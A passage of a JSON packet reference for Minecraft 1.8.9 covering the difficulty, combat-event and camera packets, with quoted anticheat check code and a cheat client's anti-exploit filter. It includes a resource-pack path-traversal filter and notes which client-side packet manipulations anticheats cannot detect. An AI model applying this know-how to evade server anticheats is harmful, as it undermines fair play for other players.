     "desc": "0=peaceful, 1=easy, 2=normal, 3=hard"
    },
    {
     "name": "difficultyLocked",
     "type": "boolean",
     "desc": "Whether difficulty is locked"
    }
   ],
   "encoding": [
    [
     "Difficulty",
     "unsigned byte",
     "0-3"
    ],
    [
     "Locked",
     "bool",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleServerDifficulty()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "Join-time world metadata: the server announces its difficulty once, inside ServerConfigurationManager.initializeConnectionToPlayer, alongside the other world-state packets (S05 spawn position, S03 time of day, S44 world border INITIALIZE). The payload is a single unsigned byte 0-3 mapped to EnumDifficulty. Vanilla never re-broadcasts it: the /difficulty command mutates the server WorldInfo without notifying clients, so the value learned at join stays stale for the whole session."
     },
     {
      "h": "Vanilla handling",
      "p": "The client handler handleServerDifficulty writes the value into WorldInfo (setDifficulty and setDifficultyLocked) and nothing else; gameplay code reads it later via world.getDifficulty(). Note the asymmetry: the packet has a difficultyLocked constructor field and getter, but neither readPacketData nor writePacketData ever touches it, so the wire format is one byte and the locked flag is permanently false on the client."
     },
     {
      "h": "Why clients touch it",
      "p": "None of the 8 clients contains a module that references S41. The only non-vanilla hits are Rise 6.1.30 and 6.2.4 NetworkAPI.java, which registers the class in the list of packet types exposed to the JavaScript scripting bridge; no shipped script uses it. The reason is functional: difficulty only scales vanilla survival math (mob damage, hunger drain, regeneration), and cheat modules replace that math with their own logic, so no module output depends on the server's difficulty setting."
     },
     {
      "h": "Exploit surface",
      "p": "The value is trust-on-receive. readPacketData feeds the raw byte to EnumDifficulty.getDifficultyEnum, which in 1.8.9 clamps with a modulo (difficultyEnums[p % 4]), so out-of-range bytes wrap instead of crashing: 4 maps to peaceful, 5 to easy, and so on. The handler stores the enum without validation. That is the entire surface: a hostile server can only lie about difficulty, which changes nothing a client-side cheat relies on."
     }
    ],
    "overview": "One-byte join-time announcement of the world difficulty, written straight into WorldInfo by the client handler. In the 8 clients it is invisible: no module references it, the locked flag is dead on the wire, and out-of-range bytes wrap modulo 4. The only non-vanilla trace is Rise's script API registering the class for JS packet filtering.",
    "server_handling": "ServerConfigurationManager.initializeConnectionToPlayer sends new S41PacketServerDifficulty(worldinfo.getDifficulty(), worldinfo.isDifficultyLocked()) (line 136 in the Rise 6.x bundled sources, 163 in the MCP builds). It is sent exactly once per join, before the initial S08 teleport completes the login sequence. Nothing else on the vanilla server constructs the packet; /difficulty changes WorldInfo directly and does not broadcast.",
    "protocol_notes": "Wire format in 1.8.9 is a single unsigned byte (writeByte / readUnsignedByte) despite the packet metadata table listing a difficultyLocked boolean. The boolean exists as a constructor argument and getter but is never serialized, so clients always see difficultyLocked == false. EnumDifficulty.getDifficultyEnum applies difficultyEnums[p % 4], so any byte value is accepted. Play state only; sent once during join before the player is fully active.",
    "anticheat_landscape": "No anti-cheat measures this packet. It is clientbound, unidirectional, sent once, and carries no timing or state information that movement or combat checks could use. Spoofing or cancelling it would only change the client's local mob-damage math, which is irrelevant to server-side validation.",
    "modules": [],
    "related": [
     "S05PacketSpawnPosition",
     "S03PacketTimeUpdate",
     "S44PacketWorldBorder"
    ],
    "anticheat": {
     "overview": "The difficulty announcement is invisible to the anticheat corpus. The single hit is Artemis HardcodeMap, which maps PacketPlayOutServerDifficulty to its wrapper class for the packet generator (line 60). One unsigned byte sent once at join with no serverbound counterpart, so there is nothing to validate, spoof, or time; the value only scales vanilla survival math that server-side checks never see.",
     "checks": []
    }
   },
   "wiki_notes": [
    "Join-time announcement: one unsigned byte, 0 peaceful, 1 easy, 2 normal, 3 hard. Sent once during login.",
    "The difficultyLocked constructor flag is never serialized in 1.8.9, so the client always sees it false; /difficulty changes are never rebroadcast.",
    "MCP 1.8.9 S41PacketServerDifficulty implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleServerDifficulty; wire serde is readPacketData/writePacketData via readUnsignedByte.",
    "1.8.9 callers: ServerConfigurationManager.initializeConnectionToPlayer sends new S41PacketServerDifficulty (line 145): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/server/management/ServerConfigurationManager.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S41PacketServerDifficulty/",
   "mcp_path": "net/minecraft/network/play/server/S41PacketServerDifficulty.java",
   "group": "play-client",
   "logic_classes": [
    "ServerConfigurationManager"
   ]
  },
  {
   "id": "S42PacketCombatEvent",
   "hex": "0x42",
   "dec": 66,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Combat Event",
   "desc": "Server sends combat-related events: enter combat, end combat, entity dead with death message.",
   "tags": [
    "combat",
    "player",
    "death",
    "entity"
   ],
   "fields": [
    {
     "name": "event",
     "type": "Enum",
     "desc": "ENTER_COMBAT, END_COMBAT, ENTITY_DIED"
    },
    {
     "name": "duration",
     "type": "VarInt",
     "desc": "For END_COMBAT: duration in ticks"
    },
    {
     "name": "playerID",
     "type": "int",
     "desc": "For ENTITY_DIED: victim entity ID"
    },
    {
     "name": "entityID",
     "type": "int",
     "desc": "For ENTITY_DIED: killer entity ID"
    },
    {
     "name": "message",
     "type": "IChatComponent",
     "desc": "For ENTITY_DIED: death message"
    }
   ],
   "encoding": [
    [
     "Event",
     "VarInt Enum",
     "0=enter,1=end,2=dead"
    ],
    [
     "Duration (if end)",
     "VarInt",
     ""
    ],
    [
     "Player (if dead)",
     "int",
     ""
    ],
    [
     "Entity (if dead)",
     "int",
     ""
    ],
    [
     "Message (if dead)",
     "Chat Component",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleCombatEvent()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "Combat tracker state machine. The server announces combat tag transitions through ENTER_COMBAT and END_COMBAT, with a third variant ENTITY_DIED defined for death broadcasts. EntityPlayerMP sends ENTER_COMBAT from func_152111_bt when combat starts and END_COMBAT from func_152112_bu when it ends; END_COMBAT carries the fight duration in ticks and the tracked entity's ID. Only the clientbound direction exists: the client never acknowledges combat state."
     },
     {
      "h": "Vanilla handling",
      "p": "The client handler func_175098_a resolves the tracked entity by ID and feeds Twitch streaming metadata: END_COMBAT becomes a MetadataCombat with a negative timestamp derived from the duration (1000 * duration / 20), and ENTITY_DIED becomes a MetadataPlayerDeath carrying the victim, the killer entity and the death message. Nothing in the handler touches the death screen, the health bar or the tab list; those are driven by the client's own entity state."
     },
     {
      "h": "Why clients touch it",
      "p": "No module in the 8 clients references S42. This is the natural home for death-event hooks (AutoGG, kill counting, KillAura target cleanup), yet the corpus shows none: AutoGG modules in these clients key off S02PacketChat death-message patterns instead, and KillAura cleanup keys off S13PacketDestroyEntities. The structural reason is that the vanilla server never sends ENTITY_DIED: EntityPlayerMP.onDeath broadcasts the death message through ServerConfigurationManager chat (becoming S02PacketChat on the client), and only ENTER_COMBAT and END_COMBAT are ever constructed. The ENTITY_DIED branch of the client handler is dead code in vanilla 1.8.9."
     },
     {
      "h": "Exploit surface",
      "p": "readPacketData dispatches on a VarInt enum; an out-of-range value deserializes to null (readEnumValue returns null past the last ordinal) and the handler's event comparisons then NPE. The death message is read as a length-prefixed UTF-8 string capped at 32767 bytes, not a chat component, so no JSON component parsing happens here. END_COMBAT writes the tracked entity ID as a plain 4-byte int while ENTITY_DIED writes the killer as a VarInt and the victim as an int: the mixed widths are a known 1.8 protocol quirk."
     }
    ],
    "overview": "Combat tag transitions from the server's CombatTracker. ENTER_COMBAT and END_COMBAT are the only variants the vanilla server constructs; ENTITY_DIED exists on the wire but is dead code in vanilla 1.8.9, which is why none of the 8 clients hooks it. Client-side the handler only feeds Twitch streaming metadata.",
    "server_handling": "EntityPlayerMP.func_152111_bt and func_152112_bu wrap the combat tag transitions and send the packet with the current CombatTracker; END_COMBAT fills the duration from CombatTracker.func_180134_f and the tracked entity ID from func_94550_c. Player deaths do not produce this packet: onDeath routes the death message through ServerConfigurationManager chat broadcast, so the ENTITY_DIED variant is only reachable from plugin or modded servers that construct it directly.",
    "protocol_notes": "Event enum is a VarInt (readEnumValue). END_COMBAT: duration VarInt plus tracked entity ID as a full int. ENTITY_DIED: killer entity ID as VarInt, victim as int, then a String (not IChatComponent, despite the metadata table) capped at 32767 bytes. ENTER_COMBAT carries no payload. readEnumValue returns null for out-of-range values, which reaches the handler as a null eventType.",
    "anticheat_landscape": "Anti-cheats do not use S42 for validation: it is clientbound, and combat tag state is tracked server-side from attack packets (C02) and damage events. Server plugins that expose combat tags rely on ENTER_COMBAT and END_COMBAT, not on client acknowledgements, so there is nothing to spoof or cancel from the client.",
    "modules": [],
    "related": [
     "S02PacketChat",
     "S13PacketDestroyEntities",
     "C02PacketUseEntity"
    ],
    "anticheat": {
     "overview": "The combat event packet carries combat tag transitions: enter combat, end combat, and entity died. Server-side anticheats do not use it for reach or killaura validation, because combat state is tracked from attack packets, but two anticheats consume it for state: Grim reads the death combat event to track whether the client's death screen is showing, which anchors its respawn-alive check, and Intave registers a packet reader that exposes the two entity id fields for substitution. Artemis and Negativity only name the packet in registries.",
     "checks": [
      {
       "name": "Respawn alive / death screen state (Grim BadPacketsM)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Flag a PERFORM_RESPAWN status request sent while the player is alive and no death screen is showing.",
       "how_it_works": "BadPacketsM listens on both directions. On the server side it wraps DEATH_COMBAT_EVENT and COMBAT_EVENT (ENTITY_DEAD) for the player's own entity id and, transaction-sandwiched, marks the menu state from showsDeathScreen. On the client side, a PERFORM_RESPAWN action while the compensated self is not dead and no menu is recorded flags the player. Change-game-state win events and respawns grant short exemptions for the client's own menu toggling.",
       "detects": "Respawn-while-alive exploits, death-screen spoofing, and clients that send respawn without the server having announced their death.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/badpackets/BadPacketsM.java =====\npackage ac.grim.grimac.checks.impl.badpackets;\n\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.PreViaPacketReceiveListener;\nimport ac.grim.grimac.checks.type.PreViaPacketSendListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.player.Combat;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientClientStatus;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerChangeGameState;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerCombatEvent;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerDeathCombatEvent;\n\n@CheckData(name = \"BadPacketsM\", stableKey = \"grim.badpackets.respawn_alive\", description = \"Tried to respawn while alive\", experimental = true)\npublic class BadPacketsM extends Check implements PreViaPacketReceiveListener, PreViaPacketSendListener {\n    public BadPacketsM(final GrimPlayer player) {\n        super(player);\n    }\n\n    // not a boolean because the server could send packets that cause\n    // the client to send a respawn packet before it receives the first\n    private int exempt;\n    private boolean menu;\n\n    @Override\n    public void onPreViaPacketReceive(PacketReceiveEvent event) {\n        if (event.getPacketType() != PacketType.Play.Client.CLIENT_STATUS\n                || new WrapperPlayClientClientStatus(event).getAction() != WrapperPlayClientClientStatus.Action.PERFORM_RESPAWN) {\n            return;\n        }\n\n        if (exempt > 0) {\n            exempt--;\n            return;\n        }\n\n        if (!player.compensatedEntities.self.isDead && !menu) {\n            flag(); // don't cancel in case of a false positive\n        }\n\n        // the client closes the menu and reopens it if dead\n        menu = player.compensatedEntities.self.isDead && player.packetStateData.showsDeathScreen;\n    }\n\n    @Override\n    public void onPreViaPacketSend(PacketSendEvent event) {\n        if (player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8)) {\n            return;\n        }\n\n        if (event.getPacketType() == PacketType.Play.Server.CHANGE_GAME_STATE) {\n            WrapperPlayServerChangeGameState packet = new WrapperPlayServerChangeGameState(event);\n            if (packet.getReason() != WrapperPlayServerChangeGameState.Reason.WIN_GAME) return;\n\n            if (packet.getValue() != 0 && packet.getValue() != 1) {\n                return; // client ignores this\n            }\n\n            player.sendTransaction();\n            player.addRealTimeTaskNow(() -> {\n                // we COULD get a DEATH_COMBAT_EVENT/COMBAT_EVENT while the credits are rolling, (IF packet.getValue == 1)\n                // but this can only cause at most one false negative (for each of this packet sent)\n                exempt++;\n                menu = false;\n            });\n        }\n\n        if (event.getPacketType() == PacketType.Play.Server.DEATH_COMBAT_EVENT\n                && new WrapperPlayServerDeathCombatEvent(event).getPlayerId() == player.entityID) {\n            player.sendTransaction();\n            player.addRealTimeTaskNow(this::onDeathCombatEvent);\n        }\n\n        if (event.getPacketType() == PacketType.Play.Server.COMBAT_EVENT) {\n            WrapperPlayServerCombatEvent packet = new WrapperPlayServerCombatEvent(event);\n            if (packet.getCombat() == Combat.ENTITY_DEAD && packet.getPlayerId() == player.entityID) {\n                player.sendTransaction();\n                player.addRealTimeTaskNow(this::onDeathCombatEvent);\n            }\n        }\n    }\n\n    private void onDeathCombatEvent() {\n        if (player.packetStateData.showsDeathScreen) {\n            menu = true;\n        } else {\n            exempt++;\n        }\n    }\n\n    public void onRespawn() {\n        menu = false; // the client closes any open screens on respawn\n    }\n\n    // the menu is actually kept when the player's health is set to >0\n    public void onDeath() {\n        if (player.packetStateData.showsDeathScreen) {\n            menu = true;\n        }\n    }\n}\n// NOTE (AI): The check is marked experimental and flags without cancelling to avoid false positives. On 1.8 the death screen is implied by the death combat event itself; the change-game-state and respawn hooks cover the 1.19+ death screen toggle.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/badpackets/BadPacketsM.java",
       "variations": "No other anticheat in the corpus runs a death-state check keyed to this packet; Negativity and Artemis only register the packet name."
      },
      {
       "name": "Combat event reader (Intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Expose the combat event packet's two integer entity fields to Intave's packet pipeline so they can be read or substituted.",
       "how_it_works": "CombatEventReader is registered in PacketReaders for COMBAT_EVENT. It reads the first two integers of the packet through a substitution iterator: the iterator writes back to the same integer fields, which lets the pipeline rewrite entity references carried by combat events.",
       "detects": "None directly; it is packet plumbing that lets entity-tracking code see and optionally rewrite the entity id fields carried by combat events.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/packet/reader/CombatEventReader.java =====\npackage de.jpx3.intave.packet.reader;\n\nimport org.jetbrains.annotations.NotNull;\n\npublic final class CombatEventReader extends AbstractPacketReader implements EntityIterable{\n  public int firstEntityId() {\n    return packet().getIntegers().read(0);\n  }\n\n  public int secondEntityId() {\n    return packet().getIntegers().read(1);\n  }\n\n  private int slot = 0;\n\n  @Override\n  public @NotNull SubstitutionIterator<Integer> iterator() {\n    slot = 0;\n    return STATIC_ITERATOR;\n  }\n\n  private final SubstitutionIterator<Integer> STATIC_ITERATOR = new SubstitutionIterator<Integer>() {\n    @Override\n    public void set(Integer integer) {\n      if (slot == 1) {\n        packet().getIntegers().write(0, integer);\n      } else if (slot == 2) {\n        packet().getIntegers().write(1, integer);\n      }\n    }\n\n    @Override\n    public boolean hasNext() {\n      return slot < 2;\n    }\n\n    @Override\n    public Integer next() {\n      return packet().getIntegers().read(slot++);\n    }\n  };\n}\n// NOTE (AI): The reader implements EntityIterable, so the two ids are treated as substitution targets: any rewrite writes back into the raw packet integers, keeping the packet valid on the wire.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/packet/reader/CombatEventReader.java",
       "variations": "Artemis's PacketRepository maps SERVER_PLAY + 18 to PacketPlayServerCombatEvent and ships a marker interface, and Negativity's PacketType enum lists COMBAT_EVENT('CombatEvent'); neither runs a check on it."
      }
     ]
    }
   },
   "wiki_notes": [
    "VarInt enum: ENTER_COMBAT (no payload), END_COMBAT (duration VarInt in ticks plus tracked entity id), ENTITY_DIED (killer id, victim id, death message).",
    "Vanilla 1.8.9 never sends ENTITY_DIED; player deaths broadcast via chat S02 instead. Client handler only feeds Twitch stream metadata.",
    "MCP 1.8.9 S42PacketCombatEvent implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleCombatEvent; wire serde is readPacketData/writePacketData via readEnumValue, readInt, readStringFromBuffer, readVarIntFromBuffer.",
    "1.8.9 callers: EntityPlayerMP.sendEnterCombat sends new S42PacketCombatEvent (line 257): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/player/EntityPlayerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S42PacketCombatEvent/",
   "mcp_path": "net/minecraft/network/play/server/S42PacketCombatEvent.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP"
   ]
  },
  {
   "id": "S43PacketCamera",
   "hex": "0x43",
   "dec": 67,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Camera",
   "desc": "Sets the player's camera to spectate a specific entity (spectator mode teleport).",
   "tags": [
    "player",
    "spectator",
    "camera"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "VarInt",
     "desc": "Entity ID to spectate"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleCamera()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Only works in spectator mode. Used by servers when a player enters spectator and clicks on an entity. Freecam modules may use this to switch camera target. No module in the examined client sources directly targets this packet.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "Spectator camera switching. EntityPlayerMP sends it whenever its spectatingEntity changes (line 1084 in the MCP builds, 1057 in Rise), which happens when a spectator clicks an entity, cycles targets, or returns to their own body. The single VarInt entity ID is resolved client-side against the entity list, and the handler then reparents the render view to that entity. It is the only packet that moves the camera independently of the player's own position."
     },
     {
      "h": "Vanilla handling",
      "p": "The client handler func_175094_a calls packet.func_179780_a(world) to resolve the entity ID, and only if the entity is non-null calls gameController.func_175607_a (setRenderViewEntity). The null guard means a bogus ID silently leaves the camera unchanged. The server side only ever sends the packet in spectator mode, after validating the target through EntityPlayerMP's spectator logic."
     },
     {
      "h": "Why clients touch it",
      "p": "Exactly one module in the 8 clients: Tenacity 6.0's AntiExploit (dev/tenacity/module/impl/misc/AntiExploit.java) cancels S43 when the local player is not a spectator. The rationale is the classic 1.8 camera exploit: a malicious server can force the render view onto an arbitrary or fast-moving entity even while the player is in survival, producing unusable camera motion or a client crash. The check mirrors the server's own precondition, so legitimate spectator flow is never blocked."
     },
     {
      "h": "Exploit surface",
      "p": "The packet is one VarInt with zero client-side validation of game state. The abuse is a server-side precondition failure: vanilla only sends it to spectators, so any S43 arriving at a non-spectator client is by definition hostile. Beyond Tenacity's check, none of the 8 clients rate-limits or sanity-checks it. Freecam-style modules move the render view locally and never touch this packet, which is why no Freecam or spectate module appears in the corpus."
     }
    ],
    "overview": "Spectator-mode camera reparenting: one VarInt entity ID, resolved and applied by the client handler with a null guard. Only Tenacity 6.0's AntiExploit touches it in the 8 clients, cancelling the packet for non-spectators to block the camera crash exploit.",
    "server_handling": "EntityPlayerMP tracks a spectatingEntity field and sends new S43PacketCamera(spectatingEntity) on every change. The server-side precondition is spectator game mode; the client cannot verify that, so it must trust or filter. The packet is also sent to restore the camera to the player when spectating ends.",
    "protocol_notes": "Single VarInt entity ID. The client resolves it with WorldClient.getEntityByID; a missing entity yields null and the camera is left untouched thanks to the handler's null check. 1.8.9 uses readVarIntFromBuffer. Play state only; no ordering constraints beyond the entity's spawn packet having arrived, otherwise the resolve fails silently.",
    "anticheat_landscape": "Not an anti-cheat surface. The packet is clientbound and carries no data the server re-validates. Server-side plugins that support spectator mode do not measure camera behaviour. The relevant threat model is malicious-server-to-client, which is exactly what Tenacity's AntiExploit addresses; cancelling it cannot produce a flag because nothing serverbound is modified.",
    "modules": [
     {
      "name": "AntiExploit",
      "found_in": [
       "Tenacity 6.0"
      ],
      "purpose": "Block high-risk clientbound packets, including S43PacketCamera when the local player is not a spectator, to prevent the camera crash exploit.",
      "how_it_works": "A PacketReceiveEvent listener walks instanceof checks over a set of high-risk clientbound packets. For S43 it tests mc.thePlayer.isSpectator(); when false it prints a chat notice and calls event.cancel(), so the vanilla handler never runs. The same listener validates S48PacketResourcePackSend URLs, rate-limits S2APacketParticles, S27PacketExplosion and S11PacketSpawnExperienceOrb, and bounds-checks S18PacketEntityTeleport coordinates.",
      "detailed_code": "// ===== FILE: Tenacity 6.0, dev/tenacity/module/impl/misc/AntiExploit.java =====\npackage dev.tenacity.module.impl.misc;\n\nimport dev.tenacity.event.IEventListener;\nimport dev.tenacity.event.impl.packet.PacketReceiveEvent;\nimport dev.tenacity.module.Module;\nimport dev.tenacity.module.ModuleCategory;\nimport dev.tenacity.util.misc.ChatUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C19PacketResourcePackStatus;\nimport net.minecraft.network.play.server.*;\n\nimport java.net.URI;\nimport java.net.URISyntaxException;\n\npublic class AntiExploit extends Module {\n\n\n\n    private long lastExplosion = 0, lastExperience = 0;\n    private int invalidExperience = 0;\n   final int PACKET_THRESHOLD = 100;\n    final long CHECK_INTERVAL = 1000;\n    int packetCount = 0;\n\n    public AntiExploit() {\n        super(\"AntiExploit\", \"Prevents server exploits\", ModuleCategory.MISC);\n    }\n\n    private final IEventListener<PacketReceiveEvent> onReceivePacket = event -> {\n        Packet<?> packet = event.getPacket();\n        handlePacketCount();\n        if(packet instanceof S48PacketResourcePackSend) {\n            S48PacketResourcePackSend resourcePack = (S48PacketResourcePackSend) packet;\n\n            try {\n                URI uri = new URI(resourcePack.getURL());\n                String scheme = uri.getScheme();\n\n                boolean isLevelProtocol = scheme.equalsIgnoreCase(\"level\");\n                boolean isHttpProtocol = scheme.equalsIgnoreCase(\"http\");\n                boolean isHttpsProtocol = scheme.equalsIgnoreCase(\"https\");\n\n                if(!isHttpProtocol && !isHttpsProtocol && !isLevelProtocol) {\n                    ChatUtil.print(\"§cBlocked Exploit: Resource Pack\");\n                    event.cancel();\n                } else if(isLevelProtocol && (resourcePack.getURL().contains(\"..\") || !((S48PacketResourcePackSend) packet).getURL().endsWith(\"/resources.zip\"))) {\n                    ChatUtil.print(\"§cBlocked Exploit: File Access\");\n                    event.cancel();\n                    mc.getNetHandler().addToSendQueue(new C19PacketResourcePackStatus(((S48PacketResourcePackSend) packet).getHash(), C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));\n                }\n            } catch (URISyntaxException exception) {\n                ChatUtil.print(\"§cBlocked Exploit: Resource Pack\");\n                event.cancel();\n                mc.getNetHandler().addToSendQueue(new C19PacketResourcePackStatus(((S48PacketResourcePackSend) packet).getHash(), C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));\n            }\n        } else if(packet instanceof S43PacketCamera && !mc.thePlayer.isSpectator()) {\n            ChatUtil.print(\"§cBlocked Exploit: Crash\");\n            event.cancel();\n        } else if(packet instanceof S2APacketParticles) {\n            S2APacketParticles particles = (S2APacketParticles) packet;\n            if(Math.abs(particles.getParticleSpeed()) >= 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Particles\");\n                event.cancel();\n            } else if(((S2APacketParticles) packet).getParticleCount() > 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            }\n        } else if(packet instanceof S27PacketExplosion) {\n            S27PacketExplosion explosion = (S27PacketExplosion) packet;\n\n            if(Math.abs(explosion.getStrength()) > 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            } else if(System.currentTimeMillis() - lastExplosion <= 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            } else if(packet instanceof S2APacketParticles) {\n            S2APacketParticles particles = (S2APacketParticles) packet;\n\n            if(Math.abs(particles.getParticleSpeed()) > 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Particles\");\n                event.cancel();\n            } else if(particles.getParticleCount() >= 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            }\n        }\n\n            lastExplosion = System.currentTimeMillis();\n        } else if(packet instanceof S18PacketEntityTeleport) {\n            S18PacketEntityTeleport teleport = (S18PacketEntityTeleport) packet;\n\n            double packetX = Math.abs(teleport.getX());\n            double packetY = Math.abs(teleport.getY());\n            double packetZ = Math.abs(teleport.getZ());\n\n            if(packetX > 30000000 || packetY > 30000000 || packetZ > 30000000) {\n                ChatUtil.print(\"§cBlocked Exploit: Teleport\");\n                event.cancel();\n            }\n        } else if(packet instanceof S11PacketSpawnExperienceOrb) {\n            if(System.currentTimeMillis() - lastExperience <= 1) {\n                invalidExperience++;\n\n                if(invalidExperience >= 2) {\n                    ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                    event.cancel();\n                }\n            } else {\n                invalidExperience = 0;\n            }\n            lastExperience = System.currentTimeMillis();\n        }\n\n    };\n\n    private void triggerKick() {\n        ChatUtil.print(\"§cAbnormal packet activity detected. Kicking player...\");\n    }\n        private void handlePacketCount() {\n            long currentTime = System.currentTimeMillis();\n\n            long lastPacketCheckTime = 0;\n            if (currentTime - lastPacketCheckTime > CHECK_INTERVAL) {\n                packetCount = 0;\n                lastPacketCheckTime = currentTime;\n            }\n            packetCount++;\n            if (packetCount > PACKET_THRESHOLD) {\n                triggerKick();\n                packetCount = 0;\n        }\n\n    }\n\n}\n// NOTE (AI): S43 handling is the third branch of the receive listener: the module only accepts the packet while the local player is a spectator, mirroring the server's own precondition. Cancelling a clientbound packet here is invisible to the server. The same listener also guards S48PacketResourcePackSend URLs, S2APacketParticles counts, S27PacketExplosion strength, S18PacketEntityTeleport coordinates and S11PacketSpawnExperienceOrb rate. The handlePacketCount helper is broken in this build: lastPacketCheckTime is a fresh local zero every call, so packetCount never resets and triggerKick never fires.",
      "code_source": "Tenacity 6.0, dev/tenacity/module/impl/misc/AntiExploit.java",
      "vanilla_hook": "PacketReceiveEvent (dev.tenacity.event.impl.packet.PacketReceiveEvent).",
      "anti_cheat_notes": "None. Cancelling a clientbound packet is invisible to the server; the server never learns whether the camera switch was applied, and no serverbound data is altered, so no anti-cheat can flag it.",
      "variations": "The other 7 clients have no S43 handling at all; Tenacity is the only one with a camera-related guard. The same AntiExploit module appears in other client bases (Flux, Lycoris, Raze), but those are outside the 8-client corpus."
     }
    ],
    "general_hooks": "PacketReceiveEvent with instanceof dispatch is the pattern; Tenacity registers an IEventListener on the event bus in the module constructor.",
    "related": [
     "C18PacketSpectate",
     "S08PacketPlayerPosLook",
     "S2BPacketChangeGameState"
    ],
    "anticheat": {
     "overview": "The camera packet is clientbound and server-authoritative, so anticheats see it only on send. Exactly two consumers act on it: Grim's CompensatedCameraEntity records which entity the server ordered the client to spectate, and intave's AbilityTracker marks the player as having a view entity so its movement checks treat spectator camera motion as legitimate. The rest of the corpus is keyword noise: Photon's CanSee family and TruthfulAC's AimB mention cameras in the ESP raycast and aim domains without touching the packet, and Artemis and Negativity only register the packet type.",
     "checks": [
      {
       "name": "CompensatedCameraEntity (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Track the spectated entity id from the camera packet so entity checks keep measuring against the right body.",
       "how_it_works": "A PreVia packet send listener on the CAMERA packet. It reads the camera entity id from the S43 packet, sends a transaction, and on the next real-time task resolves the id against the compensated entity map, keeping a single-entry queue of possible camera targets. isSelf() reports whether the view is back on the player's own body and getPossibilities() exposes the candidates to other checks.",
       "detects": "Nothing directly. It is state sync: the spectated entity becomes the reference body for entity-dependent checks while the player's view is attached elsewhere.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/utils/latency/CompensatedCameraEntity.java =====\npackage ac.grim.grimac.utils.latency;\n\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.type.PreViaPacketSendListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntity;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerCamera;\n\nimport java.util.ArrayDeque;\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class CompensatedCameraEntity extends Check implements PreViaPacketSendListener {\n    private final ArrayDeque<PacketEntity> entities = new ArrayDeque<>(1);\n\n    public CompensatedCameraEntity(GrimPlayer player) {\n        super(player);\n        reset();\n    }\n\n    @Override\n    public void onPreViaPacketSend(PacketSendEvent event) {\n        if (event.getPacketType() != PacketType.Play.Server.CAMERA) return;\n        int camera = new WrapperPlayServerCamera(event).getCameraId();\n        player.sendTransaction();\n\n        player.addRealTimeTaskNow(() -> {\n            PacketEntity entity = player.compensatedEntities.getEntity(camera);\n            if (entity != null) {\n                entities.add(entity);\n            }\n        });\n\n        player.addRealTimeTaskNext(() -> {\n            while (entities.size() > 1) {\n                entities.poll();\n            }\n\n            if (entities.isEmpty()) {\n                entities.add(player.compensatedEntities.self);\n            }\n        });\n    }\n\n    public boolean isSelf() {\n        PacketEntity self = player.compensatedEntities.self;\n        for (PacketEntity entity : entities) {\n            if (entity != self) {\n                return false;\n            }\n        }\n\n        return true;\n    }\n\n    public List<PacketEntity> getPossibilities() {\n        return new ArrayList<>(entities);\n    }\n\n    public void reset() {\n        entities.clear();\n        entities.add(player.compensatedEntities.self);\n    }\n}\n// NOTE (AI): The S43 handling is 